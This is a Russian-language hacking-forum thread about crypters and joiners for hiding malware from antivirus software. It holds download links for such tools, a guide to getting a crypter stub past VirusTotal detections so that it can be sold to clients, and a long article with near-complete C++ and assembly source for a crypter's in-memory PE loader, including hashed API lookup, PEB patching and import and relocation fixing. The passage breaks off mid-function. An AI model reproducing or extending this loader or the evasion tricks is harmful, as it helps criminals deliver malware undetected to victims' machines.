Предлагаю тут выкладывать крипторы, собирать так сказать коллекцию))
Тему можно прикрепить.
Итак, вот выкладываю несколько крипторов. Некоторые палятся, некоторые не
сильно. Используем их в связке и добиваемся желаемого результата))
K!Cryptor.rar - неплохой криптор. На данный момент не палится касперским и
нодом.
Modified Crypt'o'Crack.rar - простенький криптор, на палевность не проверял
PAV.Cryptor.rar - всем извесный криптор от Опсика. Естественно уже много чем
палится, выкладываю для коллекции.
winkript.rar - тоже простенький криптор, на палевность не проверял!
Предлагаю тут выкладывать джоинеры, желатнльно непалящиеся
FreeJoiner™ Small+ by GlOFF (build 010) moded by Killerkod
На данный момент популярные аверы не палят
Качать тут:
http://rapidshare.com/files/87971696/FreeJoiner_.rar.html
Или тут:
http://webfile.ru/1715240
N-joy 0.1 moded by Killerkod
Вот результат:
Сильно чистить не стал, ибо время нету))
Качаем тут:
http://rapidshare.com/files/92521566/N-Joy.rar.html
Пасс - 11122111
Cкинте пожалуйста исходники джойнера который мог бы склеить несколько (больше двух) файлов в один. Сразу говорю самостоятельно я нашел пару сорцов но они либо после второго запуска перестают работать либо не клеют несколько exe в один а только txt+exe или jpg+exe.
Решил немного стиль поменять - теперь буду свои обзоры(мини) каждый раз новой темой обозначать, ибо все в одной теме складывать хорошо, но не юзабельно..(не прижилась эта фича здесь) так что, если кому интересны мои записки сумасшедшего %)) придецца юзать поиск или хз. как-то еще просвещацца и искать истЕну %)))
Сразу оговорюсь!: - то, что вы сейчас будите читать, писалось еще в феврале, а
сталобыть инфа стара как библия, но никто еще не отменял ее актуальности для
начинающих или даже для тех, кто имеет уже давно вопросы и возможно здесь
найдет на них ответы
Короче, я эти февральские темные мысли привел в божеский вид и решил запостить
их здесь
Теория:
При написании первого своего криптора, новички сразу же нарушают первую
заповедь, которая гласит:
«Не уподобься ближнему своему»
Что это означает?, да все очень просто!
Если послать стандартную прожку(ну скажем написанную на Delphi) на
virustotal.com(здесь именно этот сервис будет выступать в качестве жертвы для
обхода(остальным я лично не доверяю!)), то с большой долей вероятности,
некоторое количество аверов укажут на присутствие засранчика в этом сэмпле
Это и есмь великий соблазн, который заставляет слишком быстро соблазницца и
стать невинным грешником
Вот тема(для примера), которая показывает на практике выше описанное:
http://wasm.ru/forum/viewtopic.php?id=34258 -
Heuristic.BehavesLike.Win32.xxx
Раз аверы на стандартные проги орут, сталобыть они неудачнеки и их детект
гуано
К чему это ведет?
1. Гораздо проще не разобравшись в сути проблемы(детекта), перейти на сервисы
более низкого уровня и обманывать себя и окружающих мнимостью их результатов –
ИМХО
2. Забить на вполне возможное создание грамотной техники обхода аверов(чич-то
из-за лени, неуверенности в себе, из-за быстрых денег итд.)
3. И так как на рынке есть потребительский спрос и криптор покупают таким вот
дерьмом, то нах напрягаццо
В результате мы имеем еще один гуано криптор и ежедневный "онанизм" с чистками
%)))
Практика:
Spoiler: 8
http://demonteam.narod.ru/download/d3fja8r.rar
Там в архиве все нужные файлы, рисунки, исходники и прочая х#й[пии..]ня
Сразу скажу часть файлов сделана еще в феврале так что.. Короче кому надо
разберецца че к чему.
Warning: Сэмпл естественно при осуществлении проверки/отсылки обязательно должен быть не рабочим , иначе рискуете шансом попадания его в сигнатурные базы или даже(если немного серьезный пишите криптор), то может быть создана "мини-подпрограмма" для его детекта
Шлём наш условный сэмпл на virustotal.com (мы знаем, что там ничего нет в сэмпле) и видим результат, он на рисунке 1 из архива
Code:Copy to clipboard
AVG 9.0.0.730 2010.02.20 Injector.EZ
BitDefender 7.2 2010.02.20 Gen:Trojan.Heur.Hype.aq0@aSK7ePf
F-Secure 9.0.15370.0 2010.02.19 Gen:Trojan.Heur.Hype.aq0@aSK7ePf
GData 19 2010.02.20 Gen:Trojan.Heur.Hype.aq0@aSK7ePf
Symantec 20091.2.0.41 2010.02.20 Suspicious.Insight
Хе-хе нас спалили аж нах 5 антивирусов
Наша задача сделать выдачу этого семпла по нулям
Для начала попробуем из результатов убрать святую троицу с сигной
Gen
rojan.Heur.Hype
Здесь я покажу причину появления такой сигны в результатах, ну а тот, кто
знает хорошо ПЕ формат, естественно без проблем сможет пофиксить такую траблу
в своем крипторе
Весь корень зла здесь кроется в импорте %))) если в массиве строк импорта
имена библиотек идут первыми, то мы и будем наблюдать в результатах именно
эту сигнатуру
На рисунке PE1 из архива красным выделены имена библ, а синим имена API-функий
А на рисунке PE2 из архива показано как должно быть правильно
Для не особо видящих разницу поясню, что все дело в положении имен - вначале
должны идти имена API-функий , а вслед за ними уже имя библы из
которой эти API импортируются
Вот так просто эту убогую троицу мы удалим из списка %)))
AVG 9.0.0.730 2010.02.20 Injector.EZ
Тоже удаляется из списка очень просто, путем добавления в сэмпл Rich
сигнатуры(тут речь идет именно о СТАНДАРТЕ, исключительные ситуации
естественно НЕ учитываются, так как инфа предназначена в основном для
начинающих)
Линк уже не помню, короче исходный код RichFuke.asm в архиве найдете(я сам из
него ChangeRICH юзаю)
Советую изучить этот сорс, грамотно сделан – ИМХО
Еще Rich формат хорошо описан:
http://www.ntcore.com/Files/richsign.htm - Microsoft's Rich Signature
(undocumented)
Еще я в архив немного обновленную версию оффлайн чекера положил, может кому и
понадобится, там детек Rich сигны добавлен, MD5, чекер на упакованность,
короче энтропия и все такое что облегчает предварительный анализ, чтобы
постоянно не отсылать на проверку..
Теперь атака на клоунов
Разбираемся с оставшейся сигной
Symantec 20091.2.0.41 2010.02.24 Suspicious.Insight
Есть аверы которые играют на рынке "не честно", ну или вернее тех кого "на
выдаче глючит"
Вот этот Symantec и есть то самое гуано-чудо, но каг говорицца на хитрую жопу
всегда найдецца ху[пии..] с винтом
Что мы делаем:
Берем стандартный файлег(системный) ну к примеру write.exe(это обертка над
wordpad.exe, который вызываецца при помощи ShellExecute)
И шлем на проверку, нам могут показать надпись типа такой: «Файл уже
проанализирован:»
Заставляем его еще раз проверить: «Повторить анализ сейчас»
И видим что этот ахтунг(Symantec) МОЛЧИТ
Теперь берем этот write.exe и меняем в нем дату компиляции при помощи того же
PE Tools
File Header->Time/Date Stamp(кнопка ...) и в поле Decoded меняем год, день
итд..
Смысл здесь в том, что это поле аверами не проверяется, потому как там может
стоять любая дата компиляции, а вот MD5 тем самым мы изменяем!
И отправляем опять на проверку и видим что этот ахтунг(Symantec) светит нам
туже сигну Suspicious.Insight
Теперь мы знаем то уЁбище, которое нам портит стату своим детектом по MD5(у
них там походу большая база MD5 разных файлов(и системных в том числе) от
разных windows(ну вернее было раньше так, может сейчас что-то и изменилось) и
вот, если нет такой MD5, то ставит на "подозрение")
В "аське" заказчику/клиенту предоставляем эти данные о ахтунге – такая инфа
любого убедит что криптор гуд
Ну, вот как оказалось ничего страшного в этом virustotal.com нет, главное
знать, как обойти их "примитивные" детекты. %)))
Всем привет друзья!
Снова конкурс, а значит снова появился повод поделиться чем-то интересным и
полезным с комьюнити.
Хочу выразить огромный респект организаторам, за то что нашли крутой способ
для форума собрать классный контент, повышать репутацию форума и притянуть
молодых.
В моей прошлой конкурсной статье вами были заданы вопросы про загрузчик, и я тогда ответил:
Загрузчик это отдельная интересная тема, на которую можно будет статью написать и разобрать все нюансы, такие как правильный хэндлинг TLS, ресурсов криптуемого приложения, обработку импорта, экспорта и т.д..
Еще на отдельную тему тянет статья по антиэмуляции (генератору уникальных антиэмуляторов, привет инде ). В крипторе есть задел в завязывании генерируемого кода на магические переменные, результат которых отдают антиэмуляторы.
Об этом тоже есть что рассказать, может как нибудь в другой раз.Click to expand...
**Сказано - сделано.
![](/proxy.php?image=https%3A%2F%2Fcdn.business2community.com%2Fwp- content%2Fuploads%2F2017%2F10%2Fhidden_code_1508778570.jpg&hash=ec6621c2265cf1b812cd440890643b8d)**
Загрузчик это действительно отдельная, интересная тема, к которой нужно
подойти основательно и расставить все точки над i.
Проект криптора, описанный в прошлой
статье,
содержит уже откомпилированные версии шеллкодов загрузчика в память, без
исходного кода.
В этой статье я поделюсь с вами его полным исходным кодом, опишу что он делает
и как происходит обработка и мэппинг файла в память в нюансах.
Мы поговорим о том, чем это решение отличается от системного загрузчика,
посмотрим относительно кода системного загрузчика в XP.
Порассуждаем о пользе прямого мэппинга в памяти перед инжектами, такими как
RunPE и иже с ними.
Немного предыстории:
Появившийся как концепт, способ загрузки RunPE был практически идеальным
решением загрузки бинарика в память на рубеже 08-12гг.
Тогда антивирусы еще относительно плохо умели хучить вызовы и перехватывать
управление вновь созданного процесса, проверяя его контекст.
По сути проактивные системы проходили своё становление как самостоятельные
технологии и во главе угла стояли сигнатурный и эвристические
алгоритмы обнаружения крипторов.
Принцип работы RunPE достаточно прост:
Стаб (контейнер криптованного файла) пораждает новый приостановленный
процесс через CreateProcess с флагом CREATE_SUSPENDED,
получает контекст главного потока через GetThreadContext, после чего
приостановленный процесс анмепится с помощью NtUnmapViewOfSection
и по адресу ImageBase выделяется память через VirtualAllocEx с флагом
PAGE_EXECUTE_READWRITE.
Далее в выделенную память через WriteProcessMemory записываются хидер
криптованного файла и секции.
Финальные штрихи это установка нового контекста на точку входа для главного
потока через SetThreadContext и восстановление
приостановленного потока через ResumeThread.
Для поддержки x64 файлов в RunPE требовалось совершить минимум изменений с
учетом смещений и регистров (eax\rax, ebx\rbx и т.д.) и вот уже готова
полноценная поддержка х64 файлов.
В целом история с RunPE довольно простая, очень стабильная и хорошо
отрабатывающая практически любые типы нативных PE файлов, будь то хитрые
заглушки в TLS, аномальные заголовоки, упакованные файлы и т.д.
Одна беда - технологию с того времени так затерли до дыр, что любой уважающий
себя антивирус научился определять этот способ загрузки в память,
что напрочь отменяло бы саму идею сокрытия криптуемого файла от антивирусов. С
появлением механизмов сканирования памяти эта технология окончательно умерла.
Есть еще промежуточные способы загрузки в память, я отнесу их к RunPE-подобным и назову их инжектами. В данной статье их рассматривать я не буду.
LoadPE :
Первые попытки нативной (почему нативной - опишу ниже) загрузки бинарного
файла в память (в паблике) выкладывал покойный Great, как раз на дамаге и на
васме.
Те наработки хоть и отражали суть концепции, хотя и работали кое как, но умели
обрабатывать только ограниченное количество самых стандартных PE файлов.
Любые отклонения от эталонного PE формата - и загрузка такого файла в память
фейлилась.
Позже свои наработки отрывками выкладывал el-, тоже на дамаге.
Многие "мастера" не стали заморачиваться со своим кодом и рипнули загрузчик с
криптованных семплов, тупо вставив в свой криптор, мол ведь и так работает.
Ну а некоторым, как мне, захотелось разобраться в сути технологии и написать
своё решение, которое было бы способно обрабатывать доминирующее большинство
PE файлов,
с учетом разных хитрых, нестандартных техник, поддерживающее как 86 так и 64
архитектуры PE формата.
И вот на базе этих наработок и путем долгих реверсов оригинального загрузчика
винды, технология нативной загрузки в память шлифовалась, пока не выкатилось
готовое решение.
Почему я называю этот способ нативным? Да потому, что в отличие от
незамысловатого RunPE, в LoadPE нам нужно руками воспроизводить действия,
которые обычно выполняет
сам загрузчик винды.
Рассмотрим механизм, который используется в нативном загрузчике винды:
В основе загрузки любого модуля лежит функция LoadLibrary, точнее её более низкоуровневые функции из ntdll, такие как LdrLoadDll и LdrpLoadDll.
C++:Copy to clipboard
NTSTATUS
LdrpInitializeProcess (
IN PCONTEXT Context OPTIONAL,
IN PVOID SystemDllBase,
IN PUNICODE_STRING UnicodeImageName,
IN BOOLEAN UseCOR,
IN BOOLEAN ImageFileOptionsPresent
)
/*++
Routine Description:
This function initializes the loader for the process.
This includes:
- Initializing the loader data table
- Connecting to the loader subsystem
- Initializing all staticly linked DLLs
Arguments:
Context - Supplies an optional context buffer that will be restore
after all DLL initialization has been completed. If this
parameter is NULL then this is a dynamic snap of this module.
Otherwise this is a static snap prior to the user process
gaining control.
SystemDllBase - Supplies the base address of the system dll.
UnicodeImageName - Base name + extension of the image
UseCOR - TRUE if the image is a COM+ runtime image, FALSE otherwise
ImageFileOptionsPresent - Hint about existing any ImageFileExecutionOption key.
If the key is missing the ApplicationCompatibilityGoo and
DebugProcessHeapOnly entries won't be checked again.
Return Value:
Status value
--*/
NTSTATUS
NTAPI
LdrpLoadDll(
ULONG Flags OPTIONAL,
IN PWSTR DllPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *DllHandle,
IN BOOLEAN RunInitRoutines
)
/*++
Routine Description:
This function loads a DLL into the calling process address space.
Arguments:
DllPath - Supplies the search path to be used to locate the DLL.
DllCharacteristics - Supplies an optional DLL characteristics flag,
that if specified is used to match against the dll being loaded.
DllName - Supplies the name of the DLL to load.
DllHandle - Returns a handle to the loaded DLL.
Return Value:
TBD
--*/
NTSTATUS
LdrpMapDll(
IN PWSTR DllPath OPTIONAL,
IN PWSTR DllName,
IN PULONG DllCharacteristics OPTIONAL,
IN BOOLEAN StaticLink,
IN BOOLEAN Redirected,
OUT PLDR_DATA_TABLE_ENTRY *LdrDataTableEntry
)
/*++
Routine Description:
This routine maps the DLL into the users address space.
Arguments:
DllPath - Supplies an optional search path to be used to locate the DLL.
DllName - Supplies the name of the DLL to load.
StaticLink - TRUE if this DLL has a static link to it.
LdrDataTableEntry - Supplies the address of the data table entry.
Return Value:
Status value.
--*/
Настоятельно советую ознакомиться с полным кодом этих функций. Дабы вы не
искали в моменте, я также выложу его далее,
чтобы не засорять основной посыл данной статьи.
Для тех, кто всё же хочет в подробностях изучить этот механизм в оригинале, можете найти код в файлах ...\base\ntdll\ldrinit.c, ...\base\ntdll\ldrapi.c и ...\base\ntdll\ldrsnap.c
Click to expand...
Как можно увидеть, винда делает просто кучу дополнительных манипуляций при
загрузке файла, дополнительные проверки, обработку всего и вся и в том числе
нотификацию
о событиях.
Моя реализация выглядит гораздо проще, но от этого не менее эффективная и
минимальный необходимый набор действий она выполняет.
А еще она после компляции весит чуть более 2 кб
Ок, давайте взглянем на мой загрузчик:
Он поддерживает x86\x64 PE файлы, как EXE так и DLL, а еще гибридные, которые
одновеменно и EXE и DLL.
Умеет хэндлить ActCtx, SEH, стартап код, анпакинг с помощью aplib,
восстанавливать Tls колбеки и многое другое.
Участки, отвечающие за обработку x64 PE обрамлены в соотвествующие
дефайны**#ifdef _WIN64.**
C++:Copy to clipboard
VOID WINAPI pe2mem(PPE_LOADER_PARAMS params)
{
DWORD_PTR Base = params->base;
PIMAGE_NT_HEADERS pNt = ((PIMAGE_NT_HEADERS)((DWORD_PTR)Base + ((PIMAGE_DOS_HEADER)Base)->e_lfanew));
BOOL IsImageDll = (pNt->FileHeader.Characteristics & IMAGE_FILE_DLL) ? TRUE : FALSE; // for hybrids, our exe may be dll, we must restore how exe, but fix peb how dll
DWORD SizeOfBase = pNt->OptionalHeader.SizeOfImage;
pe2mem - основная функция загрузчика, принимает единственный параметр
PPE_LOADER_PARAMS params.
В pNt читаем NtHeaders криптованного файла
В Base у нас адрес, по которому нужно загрузить файл.
В IsImageDll мы определяем, читая Characteristics какой файл перед нами
EXE или DLL. (Это позволяет обрабатывать файлы тансформеры).
В SizeOfBase соотвественно размер образа.
Вот эта структура:
C++:Copy to clipboard
typedef struct _PE_LOADER_PARAMS
{
DWORD_PTR base; // ImageBase
PVOID file; // Pointer to file buffer
DWORD file_size; // File size
DWORD flags; // Additional flags
}PE_LOADER_PARAMS, *PPE_LOADER_PARAMS;
Думаю и так ясно что она делает, передаёт ImageBase, буфер файла, его размер и дополнительные параметры.
C++:Copy to clipboard
#ifndef _WIN64
DWORD PrologLocalVarsSize = 0;
if( !(params->flags & PE_LDR_FLAG_NOT_STUB) )
{
//find c++ seh_prolog4
PBYTE pScan = (PBYTE)((DWORD_PTR)Base + pNt->OptionalHeader.AddressOfEntryPoint);
for(int i = 0; i < 30; i++ )
{
if( *pScan==0xE9 && *(PWORD)(pScan + 3)==0xFFFF ) // E9 9F FD FF FF jmp __DllMainCRTStartup (exe)
break;
if( *pScan==0xE8 && *(PWORD)(pScan + 3)==0xFFFF ) // E8 9F FD FF FF call __DllMainCRTStartup (dll)
break;
pScan++;
}
if( *pScan!=0xE9 && *pScan!=0xE8 )
return;
pScan = (PBYTE)((INT_PTR)pScan + 5 + *(PINT_PTR)(pScan + 1)); // __DllMainCRTStartup
if( *pScan==0x6A )
{
PrologLocalVarsSize = *(pScan + 1);
}else if( *pScan==0x68 )
{
PrologLocalVarsSize = *(PDWORD)(pScan + 1);
}else{
return ;
}
}
#endif
Данный участок кода это такой лайфхак.
Если ваш стаб имеет код инициализации (т.н. startup код), у вас практически
гарантированно возникнут проблемы на этом этапе.
Данный код позволяет проскипать пролог и получить его итоговый размер.
Нужно учитывать, что для каждой версии стартап кода сигнатура может
отличаться. Данная реализация покрывает версии студий VC2008, VC2010.
C++:Copy to clipboard
PEB* Peb = GET_PEB();
PLDR_DATA_TABLE_ENTRY Entry = (PLDR_DATA_TABLE_ENTRY)Peb->Ldr->InInitializationOrderModuleList.Flink;
Entry = CONTAINING_RECORD(Entry,LDR_DATA_TABLE_ENTRY,InInitializationOrderLinks);
DWORD_PTR Ntdll = (DWORD_PTR)Entry->DllBase;
DWORD_PTR NtdllEnds = Ntdll + Entry->SizeOfImage;
// kernelbase ?
while( hash_stringW(Entry->BaseDllName.Buffer)!=HASH_KERNEL32_DLL )
{
Entry = (PLDR_DATA_TABLE_ENTRY)Entry->InInitializationOrderLinks.Flink;
Entry = CONTAINING_RECORD(Entry,LDR_DATA_TABLE_ENTRY,InInitializationOrderLinks);
}
DWORD_PTR Kernel32 = (DWORD_PTR)Entry->DllBase;
DWORD_PTR Kernel32Ends = Kernel32 + Entry->SizeOfImage;
KernelProcs kprocs = {
(TD_GetProcAddress)HASH_GetProcAddress,
(TD_VirtualAlloc)HASH_VirtualAlloc,
(TD_LoadLibraryA)HASH_LoadLibraryA,
(TD_VirtualProtect)HASH_VirtualProtect,
(TD_VirtualFree)HASH_VirtualFree,
(TD_ActivateActCtx)HASH_ActivateActCtx,
(TD_CreateActCtxA)HASH_CreateActCtxA,
(TD_TlsAlloc)HASH_TlsAlloc,
(TD_TlsSetValue)HASH_TlsSetValue,
(TD_FlsFree)HASH_FlsFree,
(TD_RtlAddFunctionTable)HASH_RtlAddFunctionTable,
(TD_RtlDeleteFunctionTable)HASH_RtlDeleteFunctionTable,
(TD_AcquireSRWLockShared)HASH_AcquireSRWLockShared,
NULL
};
for(int i = 0; i < sizeof(KernelProcs)/sizeof(DWORD_PTR); i++)
{
*((PDWORD_PTR)&kprocs + i) = (DWORD_PTR)hash_find_proc((PVOID)Kernel32,*((PDWORD_PTR)&kprocs + i));
}
В этом участке кода мы получаем указатель на Peb , узнаем адреса модулей
NTDLL и KERNEL32.
Далее мы находим указатели на необходимые WinAPI функции по их хэшам, и
заполняем структуру KernelProcs.
hash_find_proc позволяет по хэшу от строки найти функцию.
C++:Copy to clipboard
DWORD API_CALL hash_string(PCHAR String,BOOL IsUnicode)
{
DWORD i;
DWORD Result = 0;
if( String )
{
for(i=0; *String ;i++)
{
Result = _rotl(Result,3);
Result ^= ( *String>='A' && *String<='Z' ? *String | 0x20 : *String );
String++;
if( IsUnicode )
String++;
}
Result &= ~IMAGE_ORDINAL_FLAG32;
}
return Result;
}
Данная функция позволяет хэшировать строку, в том числе юникодную, на выходе получить DWORD от этой строки.
C++:Copy to clipboard
__debugbreak();
PVOID SavedFile = kprocs.VirtualAlloc(NULL,params->file_size,MEM_COMMIT,PAGE_READWRITE);
if( SavedFile )
{
if( params->flags & PE_LDR_FLAG_USE_APLIB )
{
aplib_depack_fast(params->file, SavedFile);
}else{
mem_copy(SavedFile,params->file,params->file_size);
}
PIMAGE_DOS_HEADER pDos;
PIMAGE_NT_HEADERS pNt;
// free fls data
if( !(params->flags & PE_LDR_FLAG_NOT_STUB) && Peb->OSMajorVersion > 5 )
{
DWORD Count = Peb->FlsCount;
for(int i = 0; i <= Count; i++)
{
__debugbreak();
if( IN_DLL(Peb->FlsCallbacks[i].Base,Base,Base + SizeOfBase) )
{
kprocs.FlsFree(i);
}
}
}
В SavedFile выделям память в размере file_size.
Проверяем флаги, если PE_LDR_FLAG_USE_APLIB , то используем распаковку
буфера с помощью алгоритма aPlib_depack.
Если в флаги не передан PE_LDR_FLAG_NOT_STUB и Peb- >OSMajorVersion > 5,
то пересчитываем Fls колбеки соответствующим образом.
Code:Copy to clipboard
aplib_depack_fast proc a:DWORD, b:DWORD
; aP_depack_asm_fast(const void *source, void *destination)
mov [rsp + 8], rsi
mov [rsp + 16], rdx
push rdi
mov rsi, rcx
mov rdi, rdx
cld
mov dl, 80h
literal:
mov al, [rsi]
add rsi, 1
mov [rdi], al
add rdi, 1
mov r9, 2
nexttag:
getbitM
jnc literal
getbitM
jnc codepair
xor rax, rax
getbitM
jnc shortmatch
getbitM
adc rax, rax
getbitM
adc rax, rax
getbitM
adc rax, rax
getbitM
adc rax, rax
jz thewrite
mov r9, rdi
sub r9, rax
mov al, [r9]
thewrite:
mov [rdi], al
add rdi, 1
mov r9, 2
jmp short nexttag
codepair:
getgammaM rax
sub rax, r9
mov r9, 1
jnz normalcodepair
getgammaM rcx
domatchM r8
jmp nexttag
normalcodepair:
add rax, -1
shl rax, 8
mov al, [rsi]
add rsi, 1
mov r8, rax
getgammaM rcx
cmp rax, 32000
sbb rcx, -1
cmp rax, 1280
sbb rcx, -1
cmp rax, 128
adc rcx, 0
cmp rax, 128
adc rcx, 0
domatchM rax
jmp nexttag
shortmatch:
mov al, [rsi]
add rsi, 1
xor rcx, rcx
db 0c0h, 0e8h, 001h
jz donedepacking
adc rcx, 2
mov r8, rax
domatchM rax
mov r9, 1
jmp nexttag
donedepacking:
mov rax, rdi
sub rax, [rsp + 24]
mov rsi, [rsp + 16]
pop rdi
ret
aplib_depack_fast endp
Алгоритм распаковки буфера aPlib_depack.
C++:Copy to clipboard
#ifdef _WIN64
pDos = (PIMAGE_DOS_HEADER)Base;
pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);
DWORD_PTR SaveRegs[r_all];
mem_zero(SaveRegs,sizeof(DWORD_PTR)*r_all);
__debugbreak();
PDWORD_PTR Rsp = (PDWORD_PTR)get_return();
while( !IN_DLL(*Rsp,Kernel32,Kernel32Ends) && !IN_DLL(*Rsp,Ntdll,NtdllEnds) )
{
Rsp = find_next_rsp(SaveRegs,Rsp);
}
#endif
В случае, если мы собраны под x64, находим Rsp.
C++:Copy to clipboard
pDos = (PIMAGE_DOS_HEADER)SavedFile;
pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);
DWORD OldProtection;
__debugbreak();
if( kprocs.VirtualProtect((PVOID)Base,pNt->OptionalHeader.SizeOfImage,PAGE_EXECUTE_READWRITE,&OldProtection) )
{
PVOID NewImageBase = (PVOID)Base;
mem_set(NewImageBase,0,pNt->OptionalHeader.SizeOfImage); // bugfix: must be NULL where not writed something
mem_copy(NewImageBase, pDos, pNt->OptionalHeader.SizeOfHeaders);
PIMAGE_SECTION_HEADER Sections = IMAGE_FIRST_SECTION(pNt);
for (INT i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
mem_copy((PVOID)((DWORD_PTR)NewImageBase + Sections->VirtualAddress), (PVOID)((DWORD_PTR)pDos + Sections->PointerToRawData), Sections->SizeOfRawData);
Sections++;
}
PIMAGE_DOS_HEADER pNewDos = (PIMAGE_DOS_HEADER)NewImageBase;
PIMAGE_NT_HEADERS pNewNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNewDos + pNewDos->e_lfanew);
process_peb(NewImageBase,IsImageDll,(PVOID)Base);
process_resource(&kprocs,NewImageBase); //bugfix: manifest must be processed first, and other dll may be after that, or import may fail call [NULL]
process_import(&kprocs,NewImageBase);
process_relocs(NewImageBase); //
process_tls(&kprocs,NewImageBase); // tls must be after relocs, because they fix StartDataAddress and other info
В данном участке кода мы получаем указатели на DOS и Nt заголовки.
Меняем аттрибуты выделенной памяти на PAGE_EXECUTE_READWRITE.
Копируем заголовки, секции.
Обрабатываем Peb.
Обрабатываем ресурсы.
Обрабатываем импорт.
Обрабатываем релоки.
Обрабатываем TLS.
C++:Copy to clipboard
VOID __fastcall process_peb(PVOID ImageData,BOOL IsImageDll,PVOID OldImageBase)
{
PEB* Peb = GET_PEB();
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);
if( !IsImageDll )
{
Peb->ImageBaseAddress = (DWORD_PTR)ImageData;
}
PLDR_DATA_TABLE_ENTRY Entry = (PLDR_DATA_TABLE_ENTRY)Peb->Ldr->InMemoryOrderModuleList.Flink;
while( Entry!= (PLDR_DATA_TABLE_ENTRY)&Peb->Ldr->InMemoryOrderModuleList )
{
Entry = CONTAINING_RECORD(Entry,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);
if( Entry->DllBase==OldImageBase )
{
Entry->DllBase = ImageData;
Entry->EntryPoint = (PVOID)((DWORD_PTR)pDos + pNt->OptionalHeader.AddressOfEntryPoint);
Entry->SizeOfImage = pNt->OptionalHeader.SizeOfImage;
break;
}
Entry = (PLDR_DATA_TABLE_ENTRY)Entry->InMemoryOrderLinks.Flink;
}
}
Обрабатываем Peb.
C++:Copy to clipboard
VOID __fastcall process_resource(KernelProcs* Procs,PVOID ImageData)
{
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);
PIMAGE_RESOURCE_DIRECTORY Resource = (PIMAGE_RESOURCE_DIRECTORY)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);
if (Resource!=(PIMAGE_RESOURCE_DIRECTORY)pDos)
{
CHAR Name[8];
ULONG_PTR Cookie;
*(PDWORD)Name = 'a';
ACTCTXA Ctx;
Ctx.cbSize = sizeof(ACTCTXA);
Ctx.dwFlags = ACTCTX_FLAG_HMODULE_VALID | ACTCTX_FLAG_RESOURCE_NAME_VALID;
Ctx.lpResourceName = MAKEINTRESOURCEA(1);
Ctx.lpSource = Name;
Ctx.wProcessorArchitecture = 0;
Ctx.lpAssemblyDirectory = NULL;
Ctx.lpApplicationName = NULL;
Ctx.hModule = (HMODULE)ImageData;
HANDLE hCtx = Procs->CreateActCtxA(&Ctx);
if( hCtx!=INVALID_HANDLE_VALUE )
{
Procs->ActivateActCtx(hCtx,&Cookie);
}
}
}
Обрабатываем ресурсы тушки.
Тут важный момент - activation context . Начиная с 7ки в винде в ресурсах
появилось понятие manifest или RESID=24. Это нужно в том числе для правильной
работы UAC.
Эта функция правильным образом хэндлит такие ресурсы. Читать подробнее[
тут](https://docs.microsoft.com/en-us/windows/win32/sbscs/microsoft-windows-
actctx-object).
Microsoft.Windows.ActCtx object
The Microsoft.Windows.ActCtx object references manifests and provides a way for scripting engines to access side-by-side assemblies. The Microsoft.Windows.ActCtx object can be used to create an instance of a side- by-side assembly with COM components.
The Microsoft.Windows.ActCtx object comes as an assembly in Windows Server 2003. It can also be installed by applications that use the Windows Installer for setup and include it as a merge module in their installation package.Click to expand...
C++:Copy to clipboard
VOID __fastcall process_import(KernelProcs *Procs,PVOID ImageData)
{
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR Import = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if (Import!=(PIMAGE_IMPORT_DESCRIPTOR)pDos)
{
while (Import->Name != 0)
{
PCHAR DllName = (PCHAR)((DWORD_PTR)pDos + Import->Name);
HMODULE Dll = Procs->LoadLibraryA(DllName);
if (!Dll)
return ;
PDWORD_PTR pImport = (Import->OriginalFirstThunk ? (PDWORD_PTR)((DWORD_PTR)pDos + Import->OriginalFirstThunk) : (PDWORD_PTR)((DWORD_PTR)pDos + Import->FirstThunk));
PDWORD_PTR pAddress = (PDWORD_PTR)((DWORD_PTR)pDos + Import->FirstThunk);
while (*pImport)
{
DWORD_PTR FuncAddress = NULL;
#ifdef _WIN64
if ((*pImport & IMAGE_ORDINAL_FLAG64)) // ordinal
#else
if ((*pImport & IMAGE_ORDINAL_FLAG32)) // ordinal
#endif
{
DWORD_PTR Ordinal = (*pImport & 0xFFFF);
FuncAddress = (DWORD_PTR)Procs->GetProcAddress(Dll, (PCHAR)Ordinal);
}else{
PCHAR FuncName = (PCHAR)((DWORD_PTR)pDos + *pImport + 2);
FuncAddress = (DWORD_PTR)Procs->GetProcAddress(Dll, FuncName);
}
*pAddress++ = FuncAddress;
pImport++;
}
Import++;
}
}
}
Обрабатываем таблицу импорта тушки.
В том числе и по ординалу для всяких модулей вроде comctl32 и прочих.
Многие делают это не совсем правильно. Вот правильный вариант.
C++:Copy to clipboard
VOID __fastcall process_relocs(PVOID ImageData)
{
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);
PIMAGE_BASE_RELOCATION BaseRelocs = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
INT_PTR Delta;
if (BaseRelocs!=(PIMAGE_BASE_RELOCATION)pDos)
{
PIMAGE_BASE_RELOCATION Reloc = BaseRelocs;
Delta = (INT_PTR)ImageData - pNt->OptionalHeader.ImageBase;
do
{
